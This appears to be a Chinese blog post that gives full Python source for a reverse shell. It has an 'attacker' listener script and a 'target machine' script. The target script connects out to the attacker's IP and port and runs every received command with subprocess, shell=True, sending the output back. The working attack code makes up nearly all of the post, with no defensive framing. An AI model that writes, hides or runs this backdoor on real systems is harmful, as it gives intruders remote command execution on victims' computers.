首页 > 系统相关 >python编写一个反向shell

python编写一个反向shell

时间:2024-12-26 11:45:40浏览次数:5  
标签:shell socket python 监听 client 反向 攻击者 command port

攻击端代码

import socket

# 创建一个TCP socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 设置监听的IP和端口
host = '0.0.0.0' # 监听所有网络接口
port = 444 # 监听端口

# 绑定并监听
server.bind((host, port))
server.listen(5)
print(f"Listening on {host}:{port}...")

# 等待连接
client_socket, client_address = server.accept()
print(f"Connection established with {client_address}")

# 获取并发送Shell的输出
while True:
# 接收命令
command = input("Shell> ")

if command.lower() == 'exit':
client_socket.send(b"exit")
break

# 发送命令到客户端
client_socket.send(command.encode())

# 获取客户端的输出
response = client_socket.recv(4096)

try:
print(response.decode('gbk'), end="")
except UnicodeDecodeError:
print("无法解码的内容:", response)
client_socket.close()
server.close()
目标机器代码
import socket
import subprocess
import os

# 攻击者的IP和端口
attacker_ip = '127.0.0.1' # 改为攻击者的IP地址
attacker_port = 444 # 改为攻击者的监听端口

# 创建一个socket对象
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 连接到攻击者的机器
client.connect((attacker_ip, attacker_port))

# 接受命令并执行
while True:
# 接收攻击者的命令
command = client.recv(1024).decode()

if command.lower() == 'exit':
break

# 执行命令并返回结果
output = subprocess.run(command, shell=True, capture_output=True)
result = output.stdout + output.stderr

# 发送执行结果回攻击者
client.send(result)

# 关闭连接
client.close()

标签:shell,socket,python,监听,client,反向,攻击者,command,port
From: https://www.cnblogs.com/ljna/p/18632361

相关文章

  • python毕设 农产品运输服务平台论文+程序
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表开题报告内容一、选题背景关于农产品运输服务平台的研究,现有研究主要集中在物流配送的一般性流程和传统运输模式等方面。专门针对农产品这一特殊商品的运输服务......
  • 使用Python开发PPT图片提取与九宫格合并工具
    在日常工作中,我们经常需要处理PPT中的图片,有时需要批量提取,有时需要将多张图片合并成特定布局。本文将介绍如何使用Python开发一个图形界面工具,实现PPT图片提取和九宫格合并功能。C:\pythoncode\new\pptextractandmerge.py全部代码importwximportosfrompptximport......
  • flask 异步任务celery中运行ipython或python repl出现阻塞
    问题场景:上传文件调用上传文件接口,异步任务解析文件,解析中需要执行python代码,此时会出现阻塞启动celery命令celery-Aapp.celeryworker-Pgevent-c1--loglevelINFO-Qnltable代码:importloggingimporttimeimportdatetimefromceleryimportshared_taskfr......
  • 49、Python入门 Python与AJAX:构建高效Web交互体验
             在现代Web开发中,Python作为后端语言以其简洁高效和丰富的库支持而广受欢迎,而AJAX(AsynchronousJavaScriptandXML)技术则为前端与后端的交互带来了革命性的变化。二者的结合能够构建出高效、流畅且具有卓越用户体验的Web应用。 一、AJAX技术概述AJAX不是......
  • 计算机毕业设计Python+Spark知识图谱酒店推荐系统 酒店价格预测系统 酒店可视化 酒店
    温馨提示:文末有CSDN平台官方提供的学长联系方式的名片!温馨提示:文末有CSDN平台官方提供的学长联系方式的名片!温馨提示:文末有CSDN平台官方提供的学长联系方式的名片!作者简介:Java领域优质创作者、CSDN博客专家、CSDN内容合伙人、掘金特邀作者、阿里云博客专家、51CTO......
  • 计算机毕业设计Python+卷积神经网络租房推荐系统 租房大屏可视化 租房爬虫 hadoop spa
    温馨提示:文末有CSDN平台官方提供的学长联系方式的名片!温馨提示:文末有CSDN平台官方提供的学长联系方式的名片!温馨提示:文末有CSDN平台官方提供的学长联系方式的名片!作者简介:Java领域优质创作者、CSDN博客专家、CSDN内容合伙人、掘金特邀作者、阿里云博客专家、51CTO......
  • Python中一切皆为对象,这样理解!
    """在python中一切皆为对象,变量是对象,函数是对象,类也是对象。对象(object)是指在内存中具有唯一标识符(id)、类型(type)和值(value)的实例。换句话说,对象是一个具有属性和方法的实体,这些属性和方法可以被访问和操作。(1)唯一标识符:其实就是对象在计算机内存中的地址。可使用内置......
  • 为孩子准备的 第一个python编程学习案例-pygame小游戏
    为孩子准备的第一个python编程学习案例python安装IDE安装thonny开发第一个小游戏-避坑指南最终运行通过的小游戏参考想指导孩子进行python编程启蒙,自己研究了一下如何从零搭建python开发环境、安装配置基本库并运行一个游戏示例.python安装安装最新版本的python,......
  • Python-流量分析常用工具脚本(Tshark,pyshark,scapy)
    免责声明:本文仅作分享~目录wiresharkscapy例:分析DNS流量检查数据包是否包含特定协议层(过滤)获取域名例:提取HTTP请求中的Host信息pyshark例:解析HTTP请求和响应例:分析DNS查询和响应tsahrk.exe在读此文章前,请确保您会使用wireshark并具备一些流量协议的......
  • 【最新原创毕设】基于PPH的花涧订购系统+00332(免费领源码)可做计算机毕业设计JAVA、PHP
    摘 要近年来,电子商务的快速发展引起了行业和学术界的高度关注。花涧订购系统旨在为用户提供一个简单、高效、便捷的花卉购物体验,它不仅要求用户清晰地查看所需信息,而且还要求界面设计精美,使得功能与页面完美融合,从而提升系统的可操作性。因此,我们需要深入研究信息内容,并利用......